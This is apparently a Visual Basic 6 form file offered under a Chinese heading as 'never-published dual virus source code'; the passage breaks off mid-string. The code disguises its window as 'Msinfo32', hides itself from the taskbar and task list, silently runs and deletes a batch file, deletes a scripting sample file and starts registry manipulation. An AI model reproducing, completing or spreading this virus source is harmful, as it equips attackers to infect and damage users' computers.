qiutian.frm

一个从未公开过的双重病毒VB源代码

VERSION 5.00
Begin VB.Form Usa 
   BorderStyle     =   0  'None
   Caption         =   "Msinfo32"
   ClientHeight    =   90
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   90
   Icon            =   "Qiutian.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   90
   ScaleWidth      =   90
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  '窗口缺省
   Visible         =   0   'False
   Begin VB.Timer TimeCD 
      Enabled         =   0   'False
      Interval        =   3000
      Left            =   120
      Top             =   120
   End
   Begin VB.Timer TimeLine 
      Interval        =   60000
      Left            =   120
      Top             =   120
   End
End
Attribute VB_Name = "Usa"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
 Option Explicit
 Dim TS, TSH As String
 Dim KK As Long
 Dim fnum As Integer
Dim CurrentF() As Byte
Dim CurrentFile() As Byte
Dim Dmee, Tmee As String
Dim De, DeD, HP As String
Dim GanJi As String
 Dim Ret As Long
Dim RetStr As String
Dim hKey As Long
Dim pp, p, ppp As String
Dim Buffer As String
Dim rtn As Long
Dim WJ As String



Private Sub Form_Load()

On Error Resume Next
RegisterServiceProcess GetCurrentProcessId, 1

Buffer = Space(MAX_PATH)
rtn = GetWindowsDirectory(Buffer, Len(Buffer))
WinPath = Left(Buffer, rtn)
Buffer = Space(MAX_PATH)
rtn = GetSystemDirectory(Buffer, Len(Buffer))
WinSysPath = Left(Buffer, rtn)

Delay 2
 If Dir(WinPath & "\Winout.bat") <> "" Then
   TSH = Shell(WinPath & "\Winout.bat", vbHide)
   Delay 3
   Kill WinPath & "\Winout.bat"
End If
  If Dir(WinPath & "\SAMPLES\WSH\Network.vbs") <> "" Then Kill "C:\WINDOWS\SAMPLES\WSH\Network.vbs"

If App.PrevInstance Then
  RegisterServiceProcess GetCurrentProcessId, 0
 End
End If

   Dim lRetVal
p = "(未设置键值)"
pp = "